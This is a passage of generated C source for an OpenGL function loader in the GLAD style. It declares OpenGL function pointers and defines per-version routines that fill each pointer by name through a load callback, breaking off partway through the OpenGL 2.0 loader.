PFNGLMAPBUFFERRANGEPROC glad_glMapBufferRange = NULL;
PFNGLMULTIDRAWARRAYSPROC glad_glMultiDrawArrays = NULL;
PFNGLMULTIDRAWELEMENTSPROC glad_glMultiDrawElements = NULL;
PFNGLMULTIDRAWELEMENTSBASEVERTEXPROC glad_glMultiDrawElementsBaseVertex = NULL;
PFNGLMULTITEXCOORDP1UIPROC glad_glMultiTexCoordP1ui = NULL;
PFNGLMULTITEXCOORDP1UIVPROC glad_glMultiTexCoordP1uiv = NULL;
PFNGLMULTITEXCOORDP2UIPROC glad_glMultiTexCoordP2ui = NULL;
PFNGLMULTITEXCOORDP2UIVPROC glad_glMultiTexCoordP2uiv = NULL;
PFNGLMULTITEXCOORDP3UIPROC glad_glMultiTexCoordP3ui = NULL;
PFNGLMULTITEXCOORDP3UIVPROC glad_glMultiTexCoordP3uiv = NULL;
PFNGLMULTITEXCOORDP4UIPROC glad_glMultiTexCoordP4ui = NULL;
PFNGLMULTITEXCOORDP4UIVPROC glad_glMultiTexCoordP4uiv = NULL;
PFNGLNORMALP3UIPROC glad_glNormalP3ui = NULL;
PFNGLNORMALP3UIVPROC glad_glNormalP3uiv = NULL;
PFNGLPIXELSTOREFPROC glad_glPixelStoref = NULL;
PFNGLPIXELSTOREIPROC glad_glPixelStorei = NULL;
PFNGLPOINTPARAMETERFPROC glad_glPointParameterf = NULL;
PFNGLPOINTPARAMETERFVPROC glad_glPointParameterfv = NULL;
PFNGLPOINTPARAMETERIPROC glad_glPointParameteri = NULL;
PFNGLPOINTPARAMETERIVPROC glad_glPointParameteriv = NULL;
PFNGLPOINTSIZEPROC glad_glPointSize = NULL;
PFNGLPOLYGONMODEPROC glad_glPolygonMode = NULL;
PFNGLPOLYGONOFFSETPROC glad_glPolygonOffset = NULL;
PFNGLPRIMITIVERESTARTINDEXPROC glad_glPrimitiveRestartIndex = NULL;
PFNGLPROVOKINGVERTEXPROC glad_glProvokingVertex = NULL;
PFNGLQUERYCOUNTERPROC glad_glQueryCounter = NULL;
PFNGLREADBUFFERPROC glad_glReadBuffer = NULL;
PFNGLREADPIXELSPROC glad_glReadPixels = NULL;
PFNGLRENDERBUFFERSTORAGEPROC glad_glRenderbufferStorage = NULL;
PFNGLRENDERBUFFERSTORAGEMULTISAMPLEPROC glad_glRenderbufferStorageMultisample = NULL;
PFNGLSAMPLECOVERAGEPROC glad_glSampleCoverage = NULL;
PFNGLSAMPLEMASKIPROC glad_glSampleMaski = NULL;
PFNGLSAMPLERPARAMETERIIVPROC glad_glSamplerParameterIiv = NULL;
PFNGLSAMPLERPARAMETERIUIVPROC glad_glSamplerParameterIuiv = NULL;
PFNGLSAMPLERPARAMETERFPROC glad_glSamplerParameterf = NULL;
PFNGLSAMPLERPARAMETERFVPROC glad_glSamplerParameterfv = NULL;
PFNGLSAMPLERPARAMETERIPROC glad_glSamplerParameteri = NULL;
PFNGLSAMPLERPARAMETERIVPROC glad_glSamplerParameteriv = NULL;
PFNGLSCISSORPROC glad_glScissor = NULL;
PFNGLSECONDARYCOLORP3UIPROC glad_glSecondaryColorP3ui = NULL;
PFNGLSECONDARYCOLORP3UIVPROC glad_glSecondaryColorP3uiv = NULL;
PFNGLSHADERSOURCEPROC glad_glShaderSource = NULL;
PFNGLSTENCILFUNCPROC glad_glStencilFunc = NULL;
PFNGLSTENCILFUNCSEPARATEPROC glad_glStencilFuncSeparate = NULL;
PFNGLSTENCILMASKPROC glad_glStencilMask = NULL;
PFNGLSTENCILMASKSEPARATEPROC glad_glStencilMaskSeparate = NULL;
PFNGLSTENCILOPPROC glad_glStencilOp = NULL;
PFNGLSTENCILOPSEPARATEPROC glad_glStencilOpSeparate = NULL;
PFNGLTEXBUFFERPROC glad_glTexBuffer = NULL;
PFNGLTEXCOORDP1UIPROC glad_glTexCoordP1ui = NULL;
PFNGLTEXCOORDP1UIVPROC glad_glTexCoordP1uiv = NULL;
PFNGLTEXCOORDP2UIPROC glad_glTexCoordP2ui = NULL;
PFNGLTEXCOORDP2UIVPROC glad_glTexCoordP2uiv = NULL;
PFNGLTEXCOORDP3UIPROC glad_glTexCoordP3ui = NULL;
PFNGLTEXCOORDP3UIVPROC glad_glTexCoordP3uiv = NULL;
PFNGLTEXCOORDP4UIPROC glad_glTexCoordP4ui = NULL;
PFNGLTEXCOORDP4UIVPROC glad_glTexCoordP4uiv = NULL;
PFNGLTEXIMAGE1DPROC glad_glTexImage1D = NULL;
PFNGLTEXIMAGE2DPROC glad_glTexImage2D = NULL;
PFNGLTEXIMAGE2DMULTISAMPLEPROC glad_glTexImage2DMultisample = NULL;
PFNGLTEXIMAGE3DPROC glad_glTexImage3D = NULL;
PFNGLTEXIMAGE3DMULTISAMPLEPROC glad_glTexImage3DMultisample = NULL;
PFNGLTEXPARAMETERIIVPROC glad_glTexParameterIiv = NULL;
PFNGLTEXPARAMETERIUIVPROC glad_glTexParameterIuiv = NULL;
PFNGLTEXPARAMETERFPROC glad_glTexParameterf = NULL;
PFNGLTEXPARAMETERFVPROC glad_glTexParameterfv = NULL;
PFNGLTEXPARAMETERIPROC glad_glTexParameteri = NULL;
PFNGLTEXPARAMETERIVPROC glad_glTexParameteriv = NULL;
PFNGLTEXSUBIMAGE1DPROC glad_glTexSubImage1D = NULL;
PFNGLTEXSUBIMAGE2DPROC glad_glTexSubImage2D = NULL;
PFNGLTEXSUBIMAGE3DPROC glad_glTexSubImage3D = NULL;
PFNGLTRANSFORMFEEDBACKVARYINGSPROC glad_glTransformFeedbackVaryings = NULL;
PFNGLUNIFORM1FPROC glad_glUniform1f = NULL;
PFNGLUNIFORM1FVPROC glad_glUniform1fv = NULL;
PFNGLUNIFORM1IPROC glad_glUniform1i = NULL;
PFNGLUNIFORM1IVPROC glad_glUniform1iv = NULL;
PFNGLUNIFORM1UIPROC glad_glUniform1ui = NULL;
PFNGLUNIFORM1UIVPROC glad_glUniform1uiv = NULL;
PFNGLUNIFORM2FPROC glad_glUniform2f = NULL;
PFNGLUNIFORM2FVPROC glad_glUniform2fv = NULL;
PFNGLUNIFORM2IPROC glad_glUniform2i = NULL;
PFNGLUNIFORM2IVPROC glad_glUniform2iv = NULL;
PFNGLUNIFORM2UIPROC glad_glUniform2ui = NULL;
PFNGLUNIFORM2UIVPROC glad_glUniform2uiv = NULL;
PFNGLUNIFORM3FPROC glad_glUniform3f = NULL;
PFNGLUNIFORM3FVPROC glad_glUniform3fv = NULL;
PFNGLUNIFORM3IPROC glad_glUniform3i = NULL;
PFNGLUNIFORM3IVPROC glad_glUniform3iv = NULL;
PFNGLUNIFORM3UIPROC glad_glUniform3ui = NULL;
PFNGLUNIFORM3UIVPROC glad_glUniform3uiv = NULL;
PFNGLUNIFORM4FPROC glad_glUniform4f = NULL;
PFNGLUNIFORM4FVPROC glad_glUniform4fv = NULL;
PFNGLUNIFORM4IPROC glad_glUniform4i = NULL;
PFNGLUNIFORM4IVPROC glad_glUniform4iv = NULL;
PFNGLUNIFORM4UIPROC glad_glUniform4ui = NULL;
PFNGLUNIFORM4UIVPROC glad_glUniform4uiv = NULL;
PFNGLUNIFORMBLOCKBINDINGPROC glad_glUniformBlockBinding = NULL;
PFNGLUNIFORMMATRIX2FVPROC glad_glUniformMatrix2fv = NULL;
PFNGLUNIFORMMATRIX2X3FVPROC glad_glUniformMatrix2x3fv = NULL;
PFNGLUNIFORMMATRIX2X4FVPROC glad_glUniformMatrix2x4fv = NULL;
PFNGLUNIFORMMATRIX3FVPROC glad_glUniformMatrix3fv = NULL;
PFNGLUNIFORMMATRIX3X2FVPROC glad_glUniformMatrix3x2fv = NULL;
PFNGLUNIFORMMATRIX3X4FVPROC glad_glUniformMatrix3x4fv = NULL;
PFNGLUNIFORMMATRIX4FVPROC glad_glUniformMatrix4fv = NULL;
PFNGLUNIFORMMATRIX4X2FVPROC glad_glUniformMatrix4x2fv = NULL;
PFNGLUNIFORMMATRIX4X3FVPROC glad_glUniformMatrix4x3fv = NULL;
PFNGLUNMAPBUFFERPROC glad_glUnmapBuffer = NULL;
PFNGLUSEPROGRAMPROC glad_glUseProgram = NULL;
PFNGLVALIDATEPROGRAMPROC glad_glValidateProgram = NULL;
PFNGLVERTEXATTRIB1DPROC glad_glVertexAttrib1d = NULL;
PFNGLVERTEXATTRIB1DVPROC glad_glVertexAttrib1dv = NULL;
PFNGLVERTEXATTRIB1FPROC glad_glVertexAttrib1f = NULL;
PFNGLVERTEXATTRIB1FVPROC glad_glVertexAttrib1fv = NULL;
PFNGLVERTEXATTRIB1SPROC glad_glVertexAttrib1s = NULL;
PFNGLVERTEXATTRIB1SVPROC glad_glVertexAttrib1sv = NULL;
PFNGLVERTEXATTRIB2DPROC glad_glVertexAttrib2d = NULL;
PFNGLVERTEXATTRIB2DVPROC glad_glVertexAttrib2dv = NULL;
PFNGLVERTEXATTRIB2FPROC glad_glVertexAttrib2f = NULL;
PFNGLVERTEXATTRIB2FVPROC glad_glVertexAttrib2fv = NULL;
PFNGLVERTEXATTRIB2SPROC glad_glVertexAttrib2s = NULL;
PFNGLVERTEXATTRIB2SVPROC glad_glVertexAttrib2sv = NULL;
PFNGLVERTEXATTRIB3DPROC glad_glVertexAttrib3d = NULL;
PFNGLVERTEXATTRIB3DVPROC glad_glVertexAttrib3dv = NULL;
PFNGLVERTEXATTRIB3FPROC glad_glVertexAttrib3f = NULL;
PFNGLVERTEXATTRIB3FVPROC glad_glVertexAttrib3fv = NULL;
PFNGLVERTEXATTRIB3SPROC glad_glVertexAttrib3s = NULL;
PFNGLVERTEXATTRIB3SVPROC glad_glVertexAttrib3sv = NULL;
PFNGLVERTEXATTRIB4NBVPROC glad_glVertexAttrib4Nbv = NULL;
PFNGLVERTEXATTRIB4NIVPROC glad_glVertexAttrib4Niv = NULL;
PFNGLVERTEXATTRIB4NSVPROC glad_glVertexAttrib4Nsv = NULL;
PFNGLVERTEXATTRIB4NUBPROC glad_glVertexAttrib4Nub = NULL;
PFNGLVERTEXATTRIB4NUBVPROC glad_glVertexAttrib4Nubv = NULL;
PFNGLVERTEXATTRIB4NUIVPROC glad_glVertexAttrib4Nuiv = NULL;
PFNGLVERTEXATTRIB4NUSVPROC glad_glVertexAttrib4Nusv = NULL;
PFNGLVERTEXATTRIB4BVPROC glad_glVertexAttrib4bv = NULL;
PFNGLVERTEXATTRIB4DPROC glad_glVertexAttrib4d = NULL;
PFNGLVERTEXATTRIB4DVPROC glad_glVertexAttrib4dv = NULL;
PFNGLVERTEXATTRIB4FPROC glad_glVertexAttrib4f = NULL;
PFNGLVERTEXATTRIB4FVPROC glad_glVertexAttrib4fv = NULL;
PFNGLVERTEXATTRIB4IVPROC glad_glVertexAttrib4iv = NULL;
PFNGLVERTEXATTRIB4SPROC glad_glVertexAttrib4s = NULL;
PFNGLVERTEXATTRIB4SVPROC glad_glVertexAttrib4sv = NULL;
PFNGLVERTEXATTRIB4UBVPROC glad_glVertexAttrib4ubv = NULL;
PFNGLVERTEXATTRIB4UIVPROC glad_glVertexAttrib4uiv = NULL;
PFNGLVERTEXATTRIB4USVPROC glad_glVertexAttrib4usv = NULL;
PFNGLVERTEXATTRIBDIVISORPROC glad_glVertexAttribDivisor = NULL;
PFNGLVERTEXATTRIBI1IPROC glad_glVertexAttribI1i = NULL;
PFNGLVERTEXATTRIBI1IVPROC glad_glVertexAttribI1iv = NULL;
PFNGLVERTEXATTRIBI1UIPROC glad_glVertexAttribI1ui = NULL;
PFNGLVERTEXATTRIBI1UIVPROC glad_glVertexAttribI1uiv = NULL;
PFNGLVERTEXATTRIBI2IPROC glad_glVertexAttribI2i = NULL;
PFNGLVERTEXATTRIBI2IVPROC glad_glVertexAttribI2iv = NULL;
PFNGLVERTEXATTRIBI2UIPROC glad_glVertexAttribI2ui = NULL;
PFNGLVERTEXATTRIBI2UIVPROC glad_glVertexAttribI2uiv = NULL;
PFNGLVERTEXATTRIBI3IPROC glad_glVertexAttribI3i = NULL;
PFNGLVERTEXATTRIBI3IVPROC glad_glVertexAttribI3iv = NULL;
PFNGLVERTEXATTRIBI3UIPROC glad_glVertexAttribI3ui = NULL;
PFNGLVERTEXATTRIBI3UIVPROC glad_glVertexAttribI3uiv = NULL;
PFNGLVERTEXATTRIBI4BVPROC glad_glVertexAttribI4bv = NULL;
PFNGLVERTEXATTRIBI4IPROC glad_glVertexAttribI4i = NULL;
PFNGLVERTEXATTRIBI4IVPROC glad_glVertexAttribI4iv = NULL;
PFNGLVERTEXATTRIBI4SVPROC glad_glVertexAttribI4sv = NULL;
PFNGLVERTEXATTRIBI4UBVPROC glad_glVertexAttribI4ubv = NULL;
PFNGLVERTEXATTRIBI4UIPROC glad_glVertexAttribI4ui = NULL;
PFNGLVERTEXATTRIBI4UIVPROC glad_glVertexAttribI4uiv = NULL;
PFNGLVERTEXATTRIBI4USVPROC glad_glVertexAttribI4usv = NULL;
PFNGLVERTEXATTRIBIPOINTERPROC glad_glVertexAttribIPointer = NULL;
PFNGLVERTEXATTRIBP1UIPROC glad_glVertexAttribP1ui = NULL;
PFNGLVERTEXATTRIBP1UIVPROC glad_glVertexAttribP1uiv = NULL;
PFNGLVERTEXATTRIBP2UIPROC glad_glVertexAttribP2ui = NULL;
PFNGLVERTEXATTRIBP2UIVPROC glad_glVertexAttribP2uiv = NULL;
PFNGLVERTEXATTRIBP3UIPROC glad_glVertexAttribP3ui = NULL;
PFNGLVERTEXATTRIBP3UIVPROC glad_glVertexAttribP3uiv = NULL;
PFNGLVERTEXATTRIBP4UIPROC glad_glVertexAttribP4ui = NULL;
PFNGLVERTEXATTRIBP4UIVPROC glad_glVertexAttribP4uiv = NULL;
PFNGLVERTEXATTRIBPOINTERPROC glad_glVertexAttribPointer = NULL;
PFNGLVERTEXP2UIPROC glad_glVertexP2ui = NULL;
PFNGLVERTEXP2UIVPROC glad_glVertexP2uiv = NULL;
PFNGLVERTEXP3UIPROC glad_glVertexP3ui = NULL;
PFNGLVERTEXP3UIVPROC glad_glVertexP3uiv = NULL;
PFNGLVERTEXP4UIPROC glad_glVertexP4ui = NULL;
PFNGLVERTEXP4UIVPROC glad_glVertexP4uiv = NULL;
PFNGLVIEWPORTPROC glad_glViewport = NULL;
PFNGLWAITSYNCPROC glad_glWaitSync = NULL;
static void load_GL_VERSION_1_0(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_0) return;
glad_glCullFace = (PFNGLCULLFACEPROC)load("glCullFace");
glad_glFrontFace = (PFNGLFRONTFACEPROC)load("glFrontFace");
glad_glHint = (PFNGLHINTPROC)load("glHint");
glad_glLineWidth = (PFNGLLINEWIDTHPROC)load("glLineWidth");
glad_glPointSize = (PFNGLPOINTSIZEPROC)load("glPointSize");
glad_glPolygonMode = (PFNGLPOLYGONMODEPROC)load("glPolygonMode");
glad_glScissor = (PFNGLSCISSORPROC)load("glScissor");
glad_glTexParameterf = (PFNGLTEXPARAMETERFPROC)load("glTexParameterf");
glad_glTexParameterfv = (PFNGLTEXPARAMETERFVPROC)load("glTexParameterfv");
glad_glTexParameteri = (PFNGLTEXPARAMETERIPROC)load("glTexParameteri");
glad_glTexParameteriv = (PFNGLTEXPARAMETERIVPROC)load("glTexParameteriv");
glad_glTexImage1D = (PFNGLTEXIMAGE1DPROC)load("glTexImage1D");
glad_glTexImage2D = (PFNGLTEXIMAGE2DPROC)load("glTexImage2D");
glad_glDrawBuffer = (PFNGLDRAWBUFFERPROC)load("glDrawBuffer");
glad_glClear = (PFNGLCLEARPROC)load("glClear");
glad_glClearColor = (PFNGLCLEARCOLORPROC)load("glClearColor");
glad_glClearStencil = (PFNGLCLEARSTENCILPROC)load("glClearStencil");
glad_glClearDepth = (PFNGLCLEARDEPTHPROC)load("glClearDepth");
glad_glStencilMask = (PFNGLSTENCILMASKPROC)load("glStencilMask");
glad_glColorMask = (PFNGLCOLORMASKPROC)load("glColorMask");
glad_glDepthMask = (PFNGLDEPTHMASKPROC)load("glDepthMask");
glad_glDisable = (PFNGLDISABLEPROC)load("glDisable");
glad_glEnable = (PFNGLENABLEPROC)load("glEnable");
glad_glFinish = (PFNGLFINISHPROC)load("glFinish");
glad_glFlush = (PFNGLFLUSHPROC)load("glFlush");
glad_glBlendFunc = (PFNGLBLENDFUNCPROC)load("glBlendFunc");
glad_glLogicOp = (PFNGLLOGICOPPROC)load("glLogicOp");
glad_glStencilFunc = (PFNGLSTENCILFUNCPROC)load("glStencilFunc");
glad_glStencilOp = (PFNGLSTENCILOPPROC)load("glStencilOp");
glad_glDepthFunc = (PFNGLDEPTHFUNCPROC)load("glDepthFunc");
glad_glPixelStoref = (PFNGLPIXELSTOREFPROC)load("glPixelStoref");
glad_glPixelStorei = (PFNGLPIXELSTOREIPROC)load("glPixelStorei");
glad_glReadBuffer = (PFNGLREADBUFFERPROC)load("glReadBuffer");
glad_glReadPixels = (PFNGLREADPIXELSPROC)load("glReadPixels");
glad_glGetBooleanv = (PFNGLGETBOOLEANVPROC)load("glGetBooleanv");
glad_glGetDoublev = (PFNGLGETDOUBLEVPROC)load("glGetDoublev");
glad_glGetError = (PFNGLGETERRORPROC)load("glGetError");
glad_glGetFloatv = (PFNGLGETFLOATVPROC)load("glGetFloatv");
glad_glGetIntegerv = (PFNGLGETINTEGERVPROC)load("glGetIntegerv");
glad_glGetString = (PFNGLGETSTRINGPROC)load("glGetString");
glad_glGetTexImage = (PFNGLGETTEXIMAGEPROC)load("glGetTexImage");
glad_glGetTexParameterfv = (PFNGLGETTEXPARAMETERFVPROC)load("glGetTexParameterfv");
glad_glGetTexParameteriv = (PFNGLGETTEXPARAMETERIVPROC)load("glGetTexParameteriv");
glad_glGetTexLevelParameterfv = (PFNGLGETTEXLEVELPARAMETERFVPROC)load("glGetTexLevelParameterfv");
glad_glGetTexLevelParameteriv = (PFNGLGETTEXLEVELPARAMETERIVPROC)load("glGetTexLevelParameteriv");
glad_glIsEnabled = (PFNGLISENABLEDPROC)load("glIsEnabled");
glad_glDepthRange = (PFNGLDEPTHRANGEPROC)load("glDepthRange");
glad_glViewport = (PFNGLVIEWPORTPROC)load("glViewport");
}
static void load_GL_VERSION_1_1(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_1) return;
glad_glDrawArrays = (PFNGLDRAWARRAYSPROC)load("glDrawArrays");
glad_glDrawElements = (PFNGLDRAWELEMENTSPROC)load("glDrawElements");
glad_glPolygonOffset = (PFNGLPOLYGONOFFSETPROC)load("glPolygonOffset");
glad_glCopyTexImage1D = (PFNGLCOPYTEXIMAGE1DPROC)load("glCopyTexImage1D");
glad_glCopyTexImage2D = (PFNGLCOPYTEXIMAGE2DPROC)load("glCopyTexImage2D");
glad_glCopyTexSubImage1D = (PFNGLCOPYTEXSUBIMAGE1DPROC)load("glCopyTexSubImage1D");
glad_glCopyTexSubImage2D = (PFNGLCOPYTEXSUBIMAGE2DPROC)load("glCopyTexSubImage2D");
glad_glTexSubImage1D = (PFNGLTEXSUBIMAGE1DPROC)load("glTexSubImage1D");
glad_glTexSubImage2D = (PFNGLTEXSUBIMAGE2DPROC)load("glTexSubImage2D");
glad_glBindTexture = (PFNGLBINDTEXTUREPROC)load("glBindTexture");
glad_glDeleteTextures = (PFNGLDELETETEXTURESPROC)load("glDeleteTextures");
glad_glGenTextures = (PFNGLGENTEXTURESPROC)load("glGenTextures");
glad_glIsTexture = (PFNGLISTEXTUREPROC)load("glIsTexture");
}
static void load_GL_VERSION_1_2(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_2) return;
glad_glDrawRangeElements = (PFNGLDRAWRANGEELEMENTSPROC)load("glDrawRangeElements");
glad_glTexImage3D = (PFNGLTEXIMAGE3DPROC)load("glTexImage3D");
glad_glTexSubImage3D = (PFNGLTEXSUBIMAGE3DPROC)load("glTexSubImage3D");
glad_glCopyTexSubImage3D = (PFNGLCOPYTEXSUBIMAGE3DPROC)load("glCopyTexSubImage3D");
}
static void load_GL_VERSION_1_3(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_3) return;
glad_glActiveTexture = (PFNGLACTIVETEXTUREPROC)load("glActiveTexture");
glad_glSampleCoverage = (PFNGLSAMPLECOVERAGEPROC)load("glSampleCoverage");
glad_glCompressedTexImage3D = (PFNGLCOMPRESSEDTEXIMAGE3DPROC)load("glCompressedTexImage3D");
glad_glCompressedTexImage2D = (PFNGLCOMPRESSEDTEXIMAGE2DPROC)load("glCompressedTexImage2D");
glad_glCompressedTexImage1D = (PFNGLCOMPRESSEDTEXIMAGE1DPROC)load("glCompressedTexImage1D");
glad_glCompressedTexSubImage3D = (PFNGLCOMPRESSEDTEXSUBIMAGE3DPROC)load("glCompressedTexSubImage3D");
glad_glCompressedTexSubImage2D = (PFNGLCOMPRESSEDTEXSUBIMAGE2DPROC)load("glCompressedTexSubImage2D");
glad_glCompressedTexSubImage1D = (PFNGLCOMPRESSEDTEXSUBIMAGE1DPROC)load("glCompressedTexSubImage1D");
glad_glGetCompressedTexImage = (PFNGLGETCOMPRESSEDTEXIMAGEPROC)load("glGetCompressedTexImage");
}
static void load_GL_VERSION_1_4(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_4) return;
glad_glBlendFuncSeparate = (PFNGLBLENDFUNCSEPARATEPROC)load("glBlendFuncSeparate");
glad_glMultiDrawArrays = (PFNGLMULTIDRAWARRAYSPROC)load("glMultiDrawArrays");
glad_glMultiDrawElements = (PFNGLMULTIDRAWELEMENTSPROC)load("glMultiDrawElements");
glad_glPointParameterf = (PFNGLPOINTPARAMETERFPROC)load("glPointParameterf");
glad_glPointParameterfv = (PFNGLPOINTPARAMETERFVPROC)load("glPointParameterfv");
glad_glPointParameteri = (PFNGLPOINTPARAMETERIPROC)load("glPointParameteri");
glad_glPointParameteriv = (PFNGLPOINTPARAMETERIVPROC)load("glPointParameteriv");
glad_glBlendColor = (PFNGLBLENDCOLORPROC)load("glBlendColor");
glad_glBlendEquation = (PFNGLBLENDEQUATIONPROC)load("glBlendEquation");
}
static void load_GL_VERSION_1_5(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_5) return;
glad_glGenQueries = (PFNGLGENQUERIESPROC)load("glGenQueries");
glad_glDeleteQueries = (PFNGLDELETEQUERIESPROC)load("glDeleteQueries");
glad_glIsQuery = (PFNGLISQUERYPROC)load("glIsQuery");
glad_glBeginQuery = (PFNGLBEGINQUERYPROC)load("glBeginQuery");
glad_glEndQuery = (PFNGLENDQUERYPROC)load("glEndQuery");
glad_glGetQueryiv = (PFNGLGETQUERYIVPROC)load("glGetQueryiv");
glad_glGetQueryObjectiv = (PFNGLGETQUERYOBJECTIVPROC)load("glGetQueryObjectiv");
glad_glGetQueryObjectuiv = (PFNGLGETQUERYOBJECTUIVPROC)load("glGetQueryObjectuiv");
glad_glBindBuffer = (PFNGLBINDBUFFERPROC)load("glBindBuffer");
glad_glDeleteBuffers = (PFNGLDELETEBUFFERSPROC)load("glDeleteBuffers");
glad_glGenBuffers = (PFNGLGENBUFFERSPROC)load("glGenBuffers");
glad_glIsBuffer = (PFNGLISBUFFERPROC)load("glIsBuffer");
glad_glBufferData = (PFNGLBUFFERDATAPROC)load("glBufferData");
glad_glBufferSubData = (PFNGLBUFFERSUBDATAPROC)load("glBufferSubData");
glad_glGetBufferSubData = (PFNGLGETBUFFERSUBDATAPROC)load("glGetBufferSubData");
glad_glMapBuffer = (PFNGLMAPBUFFERPROC)load("glMapBuffer");
glad_glUnmapBuffer = (PFNGLUNMAPBUFFERPROC)load("glUnmapBuffer");
glad_glGetBufferParameteriv = (PFNGLGETBUFFERPARAMETERIVPROC)load("glGetBufferParameteriv");
glad_glGetBufferPointerv = (PFNGLGETBUFFERPOINTERVPROC)load("glGetBufferPointerv");
}
static void load_GL_VERSION_2_0(GLADloadproc load) {
if(!GLAD_GL_VERSION_2_0) return;
glad_glBlendEquationSeparate = (PFNGLBLENDEQUATIONSEPARATEPROC)load("glBlendEquationSeparate");
glad_glDrawBuffers = (PFNGLDRAWBUFFERSPROC)load("glDrawBuffers");
glad_glStencilOpSeparate = (PFNGLSTENCILOPSEPARATEPROC)load("glStencilOpSeparate");
glad_glStencilFuncSeparate = (PFNGLSTENCILFUNCSEPARATEPROC)load("glStencilFuncSeparate");
glad_glStencilMaskSeparate = (PFNGLSTENCILMASKSEPARATEPROC)load("glStencilMaskSeparate");
glad_glAttachShader = (PFNGLATTACHSHADERPROC)load("glAttachShader");
glad_glBindAttribLocation = (PFNGLBINDATTRIBLOCATIONPROC)load("glBindAttribLocation");
glad_glCompileShader = (PFNGLCOMPILESHADERPROC)load("glCompileShader");
glad_glCreateProgram = (PFNGLCREATEPROGRAMPROC)load("glCreateProgram");
glad_glCreateShader = (PFNGLCREATESHADERPROC)load("glCreateShader");
glad_glDeleteProgram = (PFNGLDELETEPROGRAMPROC)load("glDeleteProgram");
glad_glDeleteShader = (PFNGLDELETESHADERPROC)load("glDeleteShader");
glad_glDetachShader = (PFNGLDETACHSHADERPROC)load("glDetachShader");
glad_glDisableVertexAttribArray = (PFNGLDISABLEVERTEXATTRIBARRAYPROC)load("glDisableVertexAttribArray");
glad_glEnableVertexAttribArray = (PFNGLENABLEVERTEXATTRIBARRAYPROC)load("glEnableVertexAttribArray");
glad_glGetActiveAttrib = (PFNGLGETACTIVEATTRIBPROC)load("glGetActiveAttrib");
glad_glGetActiveUniform = (PFNGLGETACTIVEUNIFORMPROC)load("glGetActiveUniform");
glad_glGetAttachedShaders = (PFNGLGETATTACHEDSHADERSPROC)load("glGetAttachedShaders");
glad_glGetAttribLocation = (PFNGLGETATTRIBLOCATIONPROC)load("glGetAttribLocation");
glad_glGetProgramiv = (PFNGLGETPROGRAMIVPROC)load("glGetProgramiv");
glad_glGetProgramInfoLog = (PFNGLGETPROGRAMINFOLOGPROC)load("glGetProgramInfoLog");
glad_glGetShaderiv = (PFNGLGETSHADERIVPROC)load("glGetShaderiv");
glad_glGetShaderInfoLog = (PFNGLGETSHADERINFOLOGPROC)load("glGetShaderInfoLog");
glad_glGetShaderSource = (PFNGLGETSHADERSOURCEPROC)load("glGetShaderSource");
glad_glGetUniformLocation = (PFNGLGETUNIFORMLOCATIONPROC)load("glGetUniformLocation");
glad_glGetUniformfv = (PFNGLGETUNIFORMFVPROC)load("glGetUniformfv");
glad_glGetUniformiv = (PFNGLGETUNIFORMIVPROC)load("glGetUniformiv");
glad_glGetVertexAttribdv = (PFNGLGETVERTEXATTRIBDVPROC)load("glGetVertexAttribdv");
glad_glGetVertexAttribfv = (PFNGLGETVERTEXATTRIBFVPROC)load("glGetVertexAttribfv");
glad_glGetVertexAttribiv = (PFNGLGETVERTEXATTRIBIVPROC)load("glGetVertexAttribiv");
glad_glGetVertexAttribPointerv = (PFNGLGETVERTEXATTRIBPOINTERVPROC)load("glGetVertexAttribPointerv");
glad_glIsProgram = (PFNGLISPROGRAMPROC)load("glIsProgram");
glad_glIsShader = (PFNGLISSHADERPROC)load("glIsShader");
glad_glLinkProgram = (PFNGLLINKPROGRAMPROC)load("glLinkProgram");
glad_glShaderSource = (PFNGLSHADERSOURCEPROC)load("glShaderSource");
glad_glUseProgram = (PFNGLUSEPROGRAMPROC)load("glUseProgram");
glad_glUniform1f = (PFNGLUNIFORM1FPROC)load("glUniform1f");
glad_glUniform2f = (PFNGLUNIFORM2FPROC)load("glUniform2f");
glad_glUniform3f = (PFNGLUNIFORM3FPROC)load("glUniform3f");
glad_glUniform4f = (PFNGLUNIFORM4FPROC)load("glUniform4f");
glad_glUniform1i = (PFNGLUNIFORM1IPROC)load("glUniform1i");
glad_glUniform2i = (PFNGLUNIFORM2IPROC)load("glUniform2i");
glad_glUniform3i = (PFNGLUNIFORM3IPROC)load("glUniform3i");
glad_glUniform4i = (PFNGLUNIFORM4IPROC)load("glUniform4i");
glad_glUniform1fv = (PFNGLUNIFORM1FVPROC)load("glUniform1fv");
glad_glUniform2fv = (PFNGLUNIFORM2FVPROC)load("glUniform2fv");
glad_glUniform3fv = (PFNGLUNIFORM3FVPROC)load("glUniform3fv");
glad_glUniform4fv = (PFNGLUNIFORM4FVPROC)load("glUniform4fv");
glad_glUniform1iv = (PFNGLUNIFORM1IVPROC)load("glUniform1iv");
glad_glUniform2iv = (PFNGLUNIFORM2IVPROC)load("glUniform2iv");
glad_glUniform3iv = (PFNGLUNIFORM3IVPROC)load("glUniform3iv");
glad_glUniform4iv = (PFNGLUNIFORM4IVPROC)load("glUniform4iv");
glad_glUniformMatrix2fv = (PFNGLUNIFORMMATRIX2FVPROC)load("glUniformMatrix2fv");
glad_glUniformMatrix3fv = (PFNGLUNIFORMMATRIX3FVPROC)load("glUniformMatrix3fv");
glad_glUniformMatrix4fv = (PFNGLUNIFORMMATRIX4FVPROC)load("glUniformMatrix4fv");
glad_glValidateProgram = (PFNGLVALIDATEPROGRAMPROC)load("glValidateProgram");
glad_glVertexAttrib1d = (PFNGLVERTEXATTRIB1DPROC)load("glVertexAttrib1d");
glad_glVertexAttrib1dv = (PFNGLVERTEXATTRIB1DVPROC)load("glVertexAttrib1dv");
glad_glVertexAttrib1f = (PFNGLVERTEXATTRIB1FPROC)load("glVertexAttrib1f");
glad_glVertexAttrib1fv = (PFNGLVERTEXATTRIB1FVPROC)load("glVertexAttrib1fv");
glad_glVertexAttrib1s = (PFNGLVERTEXATTRIB1SPROC)load("glVertexAttrib1s");
glad_glVertexAttrib1sv = (PFNGLVERTEXATTRIB1SVPROC)load("glVertexAttrib1sv");
glad_glVertexAttrib2d = (PFNGLVERTEXATTRIB2DPROC)load("glVertexAttrib2d");
glad_glVertexAttrib2dv = (PFNGLVERTEXATTRIB2DVPROC)load("glVertexAttrib2dv");
glad_glVertexAttrib2f = (PFNGLVERTEXATTRIB2FPROC)load("glVertexAttrib2f");
